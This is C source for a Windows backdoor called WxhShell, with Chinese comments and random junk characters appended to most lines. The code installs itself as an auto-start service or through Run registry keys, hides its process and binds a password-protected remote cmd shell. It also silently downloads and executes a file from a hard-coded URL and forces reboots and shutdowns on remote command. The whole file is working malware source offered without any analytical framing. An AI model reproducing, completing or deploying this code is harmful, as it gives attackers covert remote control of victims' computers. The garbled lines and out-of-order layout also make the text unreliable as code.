    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DVu_KT[Hd  
    if(Boot(SHUTDOWN)) 5rAI[r 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GP"(+5  
    else { j@1rVOmK  
    closesocket(wsh); fIrl?X']  
    ExitThread(0); o<`)cb }  
    } jL$&]sQ`O)  
    break; )4d)G5{  
    } 9aLS%-x!+  
  // 获取shell \bt+46y@]  
  case 's': { {VWUK`3  
    CmdShell(wsh); "K EB0U  
    closesocket(wsh); Cdjh/+!f  
    ExitThread(0); [OI&_WIw  
    break; \V@Hf"=j  
  } s*R \!L  
  // 退出 7m;2M]BRi  
  case 'x': { .xtjB8gc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {(}Mu R  
    CloseIt(wsh); *}9i@DP1,  
    break; SrV+Ox  
    } K)2ZH@  
  // 离开 P)fv:a  
  case 'q': { @=[/bG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8ALvP}H  
    closesocket(wsh); C;DNL^  
    WSACleanup(); =d/\8\4  
    exit(1); kl.)A-6V  
    break; Az.k6)~  
        } )!1; =   
  } t#+X*'/  
  } Vp $]  
9wP_dJvb  
  // 提示信息 P5;LM9W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i2{xW`AcUh  
} %?^T^P  
  } $tyF(RybG  
|]a =He;  
  return; r3o_mO?X  
} b _fI1f|  
NiU}A$U  
// shell模块句柄 :sRV]!Iw  
int CmdShell(SOCKET sock) hWK}] gF  
{ T>(nc"(  
STARTUPINFO si; )^UM8 s  
ZeroMemory(&si,sizeof(si)); x^aqnKoJ%\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *|MHQp'A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DSY:aD!  
PROCESS_INFORMATION ProcessInfo; O YGh!sW  
char cmdline[]="cmd"; ./@!k[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^5TSo&qZ  
  return 0; YmM+x=G:  
} ~U&,hFSPY  
CIh@H6|  
// 自身启动模式 7s_#X|A$  
int StartFromService(void) :8}QKp  
{ NLFSw  
typedef struct ;aBK4<-vl  
{ .$+]N[-=  
  DWORD ExitStatus; 0uzm@'^  
  DWORD PebBaseAddress; H4LZNko  
  DWORD AffinityMask; W=M`Bkw{  
  DWORD BasePriority; oxE'u<  
  ULONG UniqueProcessId; ZdHfZ3)dB  
  ULONG InheritedFromUniqueProcessId; n(.y_NEgV!  
}   PROCESS_BASIC_INFORMATION; 3vPb}  
U@+ @Mc  
PROCNTQSIP NtQueryInformationProcess; v_f8zk  
FR9<$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FjIS:9^)t5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E4RvVfA0F  
<A&mc,kj  
  HANDLE             hProcess; I_@\O!<y}  
  PROCESS_BASIC_INFORMATION pbi; <}-[9fW  
brJ _q0@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zCKZv|j6  
  if(NULL == hInst ) return 0; !YL|R[nDH|  
3DnlXH(h1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  6\ /x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iph>"b$D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R0y={\*B5k  
i rMZLc6  
  if (!NtQueryInformationProcess) return 0; V| b9zHh  
@\v,   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2#l<L>#  
  if(!hProcess) return 0; L+Yn}"gIs  
 sBY*9I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7P O3{I  
%)T>Wn%b]v  
  CloseHandle(hProcess); qEr2Y/:i"  
6 ]W!>jDc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B7(~m8:eH7  
if(hProcess==NULL) return 0; BL<.u  
_x 'R8/  
HMODULE hMod; Zpg/T K  
char procName[255]; HXhz|s0  
unsigned long cbNeeded; 3}=r.\]U  
PHl{pE*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TSqfl/UI  
Htn=h~U`z  
  CloseHandle(hProcess); F<q'ivj:w  
?|'+5$  
if(strstr(procName,"services")) return 1; // 以服务启动 1o)@{x/pd  
cjt<&b*  
  return 0; // 注册表启动 K[0.4+  
} sHD8#t^{  
%eWzr  
// 主模块 Wr Ht  
int StartWxhshell(LPSTR lpCmdLine) 0UZ>y/ C)=  
{ 6M9t<DQV  
  SOCKET wsl; 9Z]~c^UB  
BOOL val=TRUE; ^%|,G:r  
  int port=0; n/#zx:d?  
  struct sockaddr_in door; \Zz"%i  
'^ bB+  
  if(wscfg.ws_autoins) Install(); ,gGIkl&  
6nh!g  
port=atoi(lpCmdLine); h\\fb[``  
xgHR;US H  
if(port<=0) port=wscfg.ws_port; _@9[c9bO  
~$n4Yuu2[  
  WSADATA data; AE`X4q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |D+"+w/  
D+ mZ7&L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OV3l)73?t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .zQ:u{FT  
  door.sin_family = AF_INET; W_l/Jpv!W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 51j5AbFQ"  
  door.sin_port = htons(port); k#Qav1_  
koOkm:(,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nVkx Q?2  
closesocket(wsl); |S.G#za  
return 1; /aS=vjs  
} VuA7rIF$66  
FJ0Ity4u6  
  if(listen(wsl,2) == INVALID_SOCKET) { %B?@le+%  
closesocket(wsl); %@tKcQ  
return 1; P^V,"B8t  
} fB^h2  
  Wxhshell(wsl); ]D?//  
  WSACleanup(); M)S(:Il6Xx  
~hK7(K  
return 0; m,}0p  
d: D`rpcC  
} )!6JSMS  
xCN6?  
// 以NT服务方式启动 -e< d//>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I\ e?v`e  
{ ?;84 M@  
DWORD   status = 0; |dIP &9  
  DWORD   specificError = 0xfffffff; S(NH# ^  
]0v;;PfVl6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j>j Zg<}J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N(i%Oxp1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EdGA#i3  
  serviceStatus.dwWin32ExitCode     = 0; ?bFP'.  
  serviceStatus.dwServiceSpecificExitCode = 0; g4b-~1[S  
  serviceStatus.dwCheckPoint       = 0; j("$qp v  
  serviceStatus.dwWaitHint       = 0; cs[_TJo  
,n\"zYf ]^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |;xm-AM4r  
  if (hServiceStatusHandle==0) return; :"m~tU3&  
e7e6b-"_2  
status = GetLastError(); WgHl. :R  
  if (status!=NO_ERROR) MTBHFjXO  
{ @ig'CF%(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {g8uMt\4  
    serviceStatus.dwCheckPoint       = 0; m]H[$ Q  
    serviceStatus.dwWaitHint       = 0; vTnrSNdSE  
    serviceStatus.dwWin32ExitCode     = status; x)evjX=q  
    serviceStatus.dwServiceSpecificExitCode = specificError; '{]1!yMh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &O|!w&  
    return; 'Br:f_}  
  }  R&oC9<  
qHwHP 1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D#%aow'(7  
  serviceStatus.dwCheckPoint       = 0; UI:YzR  
  serviceStatus.dwWaitHint       = 0; ~ZrSoVP=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5L ]TV\\  
} 5ggmS<=  
05sWN0  
// 处理NT服务事件,比如:启动、停止 t "y[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :~uvxiF  
{ _N`'R.va  
switch(fdwControl) %>,B1nt  
{ RYhaQ &1i  
case SERVICE_CONTROL_STOP: jbQ N<`!  
  serviceStatus.dwWin32ExitCode = 0; hz:^3F`>/&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +IS+!K0?)  
  serviceStatus.dwCheckPoint   = 0; G.j  R  
  serviceStatus.dwWaitHint     = 0; -dRnozs6W  
  { }E o\=>l7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c}XuzgSY  
  } By3y.}'Ub9  
  return; XOOWrK7O  
case SERVICE_CONTROL_PAUSE: (tZ#E L0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J#k3iE}  
  break; ^pI&f{q  
case SERVICE_CONTROL_CONTINUE: 6snDv4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !WTZ =|  
  break; ';H"Ye:D=7  
case SERVICE_CONTROL_INTERROGATE: oAnNdo  
  break; Z)V m,ng  
}; ?(C(9vO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +jpaBr-O#  
} 'A^;P]y  
l7{]jKJue  
// 标准应用程序主函数 G,jv Mb`+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4[\$3t.L  
{ It5U=PU  
n jfh4}g:  
// 获取操作系统版本 1\'?.  
OsIsNt=GetOsVer(); ^*6So3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^A&i$RRO  
8|-j]   
  // 从命令行安装 ^[UWG^d  
  if(strpbrk(lpCmdLine,"iI")) Install(); [Ej#NHs  
~RdD6V  
  // 下载执行文件 K;n2mXYGM  
if(wscfg.ws_downexe) { fG *1A\t]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p3m!Iota  
  WinExec(wscfg.ws_filenam,SW_HIDE); >M}\_c=  
} /]xu=q2  
 9S<87sO  
if(!OsIsNt) { 8vk*",  
// 如果时win9x,隐藏进程并且设置为注册表启动 bCV3h3<  
HideProc(); k`j>lhH  
StartWxhshell(lpCmdLine); 5} v(Ks>  
} A-=B#UF  
else ?&ow:OH+  
  if(StartFromService()) \2UtT@3|C  
  // 以服务方式启动 z;c~(o@4  
  StartServiceCtrlDispatcher(DispatchTable); n]G_# ;  
else xJ-(]cO'  
  // 普通方式启动 6%j v|\>  
  StartWxhshell(lpCmdLine); U{ZE|b. ?b  
[lU0TDq  
return 0; BLepCF38  
} .=~-sj@k  
NmH1*w<A  
fXL&?~fS  
P#0U[`ltK  
=========================================== P#8+GN+bF  
 (0wQ [(  
n+sV $*wvS  
31y>/*}  
FnZMW, P  
|D@/4B1P  
" +vDEDOS1  
vU4Gw4  
#include <stdio.h>  L+=pEk_  
#include <string.h> $!'S7;*uW  
#include <windows.h> y ~PW_,  
#include <winsock2.h> JU6PBY~C'  
#include <winsvc.h> ZaNZUVBh  
#include <urlmon.h> .wdWs tQ  
~.:9~(2;  
#pragma comment (lib, "Ws2_32.lib") nDFF,ge;a#  
#pragma comment (lib, "urlmon.lib") %(P\"hE'  
EgYM][:UU  
#define MAX_USER   100 // 最大客户端连接数  WR;)  
#define BUF_SOCK   200 // sock buffer tx+KxOt9Y  
#define KEY_BUFF   255 // 输入 buffer EMTAl;P  
B#A .-nb  
#define REBOOT     0   // 重启 6Mh;ld@  
#define SHUTDOWN   1   // 关机 ORc20NFy7  
wU"0@^k]<  
#define DEF_PORT   5000 // 监听端口 0\y{/P?I$  
CnXl 7"  
#define REG_LEN     16   // 注册表键长度 y^iju(  
#define SVC_LEN     80   // NT服务名长度 ]Qu.-F#g  
G*`H2-,  
// 从dll定义API 342m=7lK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I7S#vIMXR.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :xBG~D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !5wuBJ0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9B&fEmgEc?  
3IlflXb  
// wxhshell配置信息 .{=|N8*py8  
struct WSCFG { x!i(M>P  
  int ws_port;         // 监听端口 +L]$M)*0&  
  char ws_passstr[REG_LEN]; // 口令 #^] v5s  
  int ws_autoins;       // 安装标记, 1=yes 0=no b3vPGR  
  char ws_regname[REG_LEN]; // 注册表键名 YVcO+~my  
  char ws_svcname[REG_LEN]; // 服务名 `pTCK9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NI%&Xhn!*>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'g@Yra&09  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @:ojt$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zK_+UT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5;alq]m7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1Z$` }a  
K:cZ q3F  
}; IQm[ ,Fh  
j-CSf(qIj  
// default Wxhshell configuration 7<Yf  
struct WSCFG wscfg={DEF_PORT, O/N@ Gz[g%  
    "xuhuanlingzhe", $*k9e^{S  
    1, J}{a&3@Hm  
    "Wxhshell", 4H]~]?F&  
    "Wxhshell", 01_*^iCf5  
            "WxhShell Service", `a+"[%  
    "Wrsky Windows CmdShell Service", j{`C|zg  
    "Please Input Your Password: ", 2d:5~fEJp  
  1, [dXpz^Co  
  "http://www.wrsky.com/wxhshell.exe", 6!;eJYj,  
  "Wxhshell.exe" *^@{LwY\M  
    }; tW8&:L,m  
oR1HJ2>Z1  
// 消息定义模块 FD*) @4<o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :,f~cdq=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b<]Ae!I'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AY B~{  
char *msg_ws_ext="\n\rExit."; :MFF*1  
char *msg_ws_end="\n\rQuit."; $-Yq?:  
char *msg_ws_boot="\n\rReboot..."; iLIv<VK/d  
char *msg_ws_poff="\n\rShutdown..."; Ob~7r*q  
char *msg_ws_down="\n\rSave to "; bgNN0,+8  
dU"ca|u  
char *msg_ws_err="\n\rErr!"; &%\H170S  
char *msg_ws_ok="\n\rOK!"; ^F?}MY>  
MJ..' $>TC  
char ExeFile[MAX_PATH]; {pR4+g  
int nUser = 0; N,?4,+Hc-  
HANDLE handles[MAX_USER]; |Vj@;+/j  
int OsIsNt; pOKs VS%fT  
p "Cxe  
SERVICE_STATUS       serviceStatus; ~A-vIlGt!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }QzF.![~z  
n]Z() "D  
// 函数声明 KccIYn~  
int Install(void); ~ 5@bW J  
int Uninstall(void); AW')*{/(Ii  
int DownloadFile(char *sURL, SOCKET wsh); mFa%d8Y  
int Boot(int flag); 5IJm_oy  
void HideProc(void); 0hB9D{`,{  
int GetOsVer(void); ^8q(_#w`K  
int Wxhshell(SOCKET wsl); gT&s &0_7  
void TalkWithClient(void *cs); t8:QK9|1  
int CmdShell(SOCKET sock); >K@Y8J+ e#  
int StartFromService(void); _t7}ny[  
int StartWxhshell(LPSTR lpCmdLine); 7+2DsZ^6MW  
f[s|<U^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xro%AM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O>tz;RU  
pcC/$5FQ  
// 数据结构和表定义 ,l )7]p*X  
SERVICE_TABLE_ENTRY DispatchTable[] = \nbGdka  
{ =g3o@WD/G  
{wscfg.ws_svcname, NTServiceMain}, `ttqgv\  
{NULL, NULL} ;RUod .x  
}; 6!T9VL\=H  
0n)99Osq(u  
// 自我安装 6>)oG6  
int Install(void) 7mBH #Q)  
{ q dQQt5Y'm  
  char svExeFile[MAX_PATH]; b uOpHQn  
  HKEY key; AbA_s I<;  
  strcpy(svExeFile,ExeFile); /<e<-C*d&<  
T? e(m  
// 如果是win9x系统,修改注册表设为自启动 z?M_Cz;:J  
if(!OsIsNt) { `"s*'P398  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LLD#)Jl{?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Z}3XVZEN  
  RegCloseKey(key); 3bBCA9^se  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f j:q>}V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !3;KC"o  
  RegCloseKey(key); .EB'n{zxd  
  return 0; Y=$PsDh!  
    } O-,0c1ts  
  } YW7Pimks  
} A9 ;!\Wo  
else { kD\7wz,ui  
Y9r##r+  
// 如果是NT以上系统,安装为系统服务 nmWo:ox4;(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k esuM3  
if (schSCManager!=0) X4dxH_@  
{ 1a]QNl_x  
  SC_HANDLE schService = CreateService k}hTSL  
  ( E5QQI9ea  
  schSCManager, S3N+ 9*i K  
  wscfg.ws_svcname, KJYcP72P  
  wscfg.ws_svcdisp, ko+fJ&$  
  SERVICE_ALL_ACCESS, +aZcA#%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X0 ^~`g  
  SERVICE_AUTO_START, &[W53Lqa  
  SERVICE_ERROR_NORMAL, i TLX=.M  
  svExeFile, 8s9ZY4_  
  NULL, r0/aw  
  NULL, q(\kCUy!  
  NULL, n%K^G4k^  
  NULL, l>*L Am5  
  NULL dGG8k&  
  ); 0Z1';A3  
  if (schService!=0) Y|nC_7&Bv  
  { :y1,OR/k  
  CloseServiceHandle(schService); 3,^.  
  CloseServiceHandle(schSCManager); $nqVE{ksV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -LU%z'  
  strcat(svExeFile,wscfg.ws_svcname); ;:1o|>mX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C+%6N@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }!QVcu"+t/  
  RegCloseKey(key); ["WWaCcx  
  return 0; ?bGk%jjHXM  
    } T!X`"rI  
  } ht_'GBS)  
  CloseServiceHandle(schSCManager); 2#Du5d  
} x(7Q5Uk\  
} $&X-ay o  
^t Y _ q  
return 1; 8 k )i-&R  
} #<DS-^W!  
i\dd  
// 自我卸载 ![&9\aH  
int Uninstall(void) S*V!t=  
{ _c>8y  
  HKEY key; M \UB r4  
}v6@yU  
if(!OsIsNt) { %[x PyqX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o[%\W  
  RegDeleteValue(key,wscfg.ws_regname); cRv#aV  
  RegCloseKey(key); oVQbc \P3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c@Xb6z_>  
  RegDeleteValue(key,wscfg.ws_regname); W H%EC$  
  RegCloseKey(key); \k3EFSm  
  return 0; yJW/yt.l  
  } t"?)x&dS  
} D"CU J?  
} SBg|V  
else { sAS[wcOQ  
jI%glO'2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hA1p#  
if (schSCManager!=0) Nxr\Yey  
{ S]Ye`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :!wl/X ~  
  if (schService!=0) Sym}#F\s  
  { Lk.tEuj=82  
  if(DeleteService(schService)!=0) { ` <u2 N  
  CloseServiceHandle(schService); n(W&GSj|u9  
  CloseServiceHandle(schSCManager); 06e dVIRr  
  return 0; t==\D?Rt  
  } .Nk5W%7]=  
  CloseServiceHandle(schService); <c$rfjM+JU  
  } N@X(YlO  
  CloseServiceHandle(schSCManager); 4UHviuOo8  
} TE6]4E*  
} <R?S  
NAOCQDk{  
return 1; EHK+qrym  
} /[!<rhY  
_& r19pY  
// 从指定url下载文件 [eFJ+|U9  
int DownloadFile(char *sURL, SOCKET wsh) 5\}E4y  
{ @VQ<X4 Za  
  HRESULT hr; mpQu:i|W  
char seps[]= "/"; e.fxB  
char *token; 0U8'dYf  
char *file; 5_1\{lP  
char myURL[MAX_PATH]; R '8S)'l  
char myFILE[MAX_PATH]; <[K3Prf C  
^6J*:(eM  
strcpy(myURL,sURL); ^SK!? M  
  token=strtok(myURL,seps); b,X+*hRt  
  while(token!=NULL) }X. Fm'`  
  { F"1tPWn  
    file=token; bu -6}T+  
  token=strtok(NULL,seps); YFDOp *  
  } iH~A7e62OZ  
 : 76zRF  
GetCurrentDirectory(MAX_PATH,myFILE); [SD mdr1T$  
strcat(myFILE, "\\"); WNt':w^_  
strcat(myFILE, file); eL.WP`Lz  
  send(wsh,myFILE,strlen(myFILE),0); 'Va<GHr>+  
send(wsh,"...",3,0); 6)BPDfU,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y06xl:iQwF  
  if(hr==S_OK) P- +]4\  
return 0; Fv$A%6;W  
else T8&eaAoo  
return 1; +o):grWvQ  
=iH9=}aBFC  
} sWB@'P:x  
u-tD_UIck  
// 系统电源模块 w=3 j'y{f  
int Boot(int flag) bZr,jLEf  
{ 78r0K 5=  
  HANDLE hToken; :LlZ#V2  
  TOKEN_PRIVILEGES tkp; wS+!>Q_]w  
yPY{ZADkQ  
  if(OsIsNt) { X8ZO } X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f:y1eLl3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ec/>LJDX7  
    tkp.PrivilegeCount = 1; R$66F>Jz^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  D[}^G5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y0ObcP.MA  
if(flag==REBOOT) { z' Z[mrLq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~mwIr  
  return 0; I>##iiKN  
} \WbQS#Z9  
else { xRdx` YYu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n>7aZ1Qa  
  return 0; OZd (~E  
} @rA V;D%  
  } +95v=[t#Ut  
  else { :Ocw+X3  
if(flag==REBOOT) { }}ic{931  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bo(w$& VW  
  return 0; SH#*Lc   
} >\3\&[#"  
else { 8ICV"8(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RgW#z-PZF  
  return 0; FvG?%IFM  
} F3]VSI6^E,  
} V"'PA-z3  
&:IcwD&  
return 1; k3nvML,bv  
} 9thG4T8  
U djYRfk  
// win9x进程隐藏模块 Pr(@&:v:  
void HideProc(void) Jj\lF*B  
{ HZ2W`wo  
>T c\~l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &"I csxG  
  if ( hKernel != NULL ) +4 Pes  
  { )p1~Jx(\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PgGUs4[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XZM@Rys  
    FreeLibrary(hKernel); JAP(J~  
  } l'aCpzf  
K1BBCe  
return; tq3Rc}  
} )wCNLi>4  
Ie(.T2K  
// 获取操作系统版本 &e;Qabwxva  
int GetOsVer(void) rUmP_  
{ t|i<}2  
  OSVERSIONINFO winfo; FKu8R%9xn%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YURMXbj  
  GetVersionEx(&winfo); VN`fZ5*d~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rF"p7  
  return 1; 3Jlap=]68S  
  else qt*+ D  
  return 0; V+y"L>K  
} Bf;_~1+vLG  
u4w!SD  
// 客户端句柄模块 3NDddrL9  
int Wxhshell(SOCKET wsl) H?8'(  
{ F.5fasdX'  
  SOCKET wsh; A;RV~!xx  
  struct sockaddr_in client; i!e8-gVMP&  
  DWORD myID; &JqaIJh   
z'& fEsjy  
  while(nUser<MAX_USER) 3^~J;U!3  
{ zU+q03l8Ur  
  int nSize=sizeof(client); M3O !jN~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0]iaNR %  
  if(wsh==INVALID_SOCKET) return 1; /*,_\ ;  
?z&%VU"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ec3tfcNhR  
if(handles[nUser]==0) Cp"7R&s  
  closesocket(wsh); HNv~ZAzBG-  
else Y.]$T8  
  nUser++; (BeJ,K7  
  } z<vh8dNl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2a48(~<_  
X(*O$B{ R  
  return 0; `w\P- q  
} 1VlU'qY  
~vt9?(h  
// 关闭 socket z_fjmqa?  
void CloseIt(SOCKET wsh) ;VAyH('~  
{ xi(\=LbhY  
closesocket(wsh); ~8u *sy  
nUser--; &t AYF_}  
ExitThread(0); dM^Z,; u  
} @|DQZt  
~;#}aQYo  
// 客户端请求句柄 ucx02^uA  
void TalkWithClient(void *cs) ~BmA!BZV`  
{ zZ8*a\  
"O4A&PJD  
  SOCKET wsh=(SOCKET)cs; tj[E!  
  char pwd[SVC_LEN]; wqF?o  
  char cmd[KEY_BUFF]; Nb`qM]&  
char chr[1]; n%7?G=_kj  
int i,j; ?e<2'\5v  
<SI|)M,, 3  
  while (nUser < MAX_USER) { HT.*r6Y>g  
Pp tuXq%U  
if(wscfg.ws_passstr) { +wmG5!%$|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~! -JN}H m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bPU i44P  
  //ZeroMemory(pwd,KEY_BUFF); '6 F-%  
      i=0; w&aZ 97{  
  while(i<SVC_LEN) { |2u=3#Jp  
nm,LKS7  
  // 设置超时 hDW!pnj1  
  fd_set FdRead; Wjw ,LwB  
  struct timeval TimeOut; VIP7j(#t_g  
  FD_ZERO(&FdRead); '% QCNO/  
  FD_SET(wsh,&FdRead); !ka* rd  
  TimeOut.tv_sec=8; 7t:RQ`$:  
  TimeOut.tv_usec=0; mOsp~|d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RDp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1*TbgxS~W  
ZP<<cyY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0- )K_JV  
  pwd=chr[0]; v\Uk?V5T  
  if(chr[0]==0xd || chr[0]==0xa) { ;mG*Rad  
  pwd=0; U\Wo&giP[  
  break; IT_I.5*A2  
  } 0 5`"U#`:  
  i++; @i1e0;\  
    } +nDy b  
eyCZ[SC  
  // 如果是非法用户,关闭 socket |1~n<=`Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FQDf?d5  
} YB5"i9T2  
E+]9!fDy<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5QMra5Nk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J~k9jeq9  
`r`8N6NQ&]  
while(1) { W&?Qs=@  
FPDTw8" B;  
  ZeroMemory(cmd,KEY_BUFF); aixX/se  
^a4z*#IOr  
      // 自动支持客户端 telnet标准   o8bdL<  
  j=0; `<C<[JP:o  
  while(j<KEY_BUFF) { 'u7-Qetj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uZ!YGv0^  
  cmd[j]=chr[0]; J?QS7#!%  
  if(chr[0]==0xa || chr[0]==0xd) { 7Q}pKq]P  
  cmd[j]=0; Qd[_W^QI  
  break; <xOX+D  
  } a#YK1n[!  
  j++; &]nx^C8V;  
    } J7`mEL>?  
z%82Vt!a5  
  // 下载文件 6p9fq3~7Y  
  if(strstr(cmd,"http://")) { H@Z_P p?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jj"{C]  
  if(DownloadFile(cmd,wsh)) :!%VSem  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ju"z  
  else Z}J5sifr  
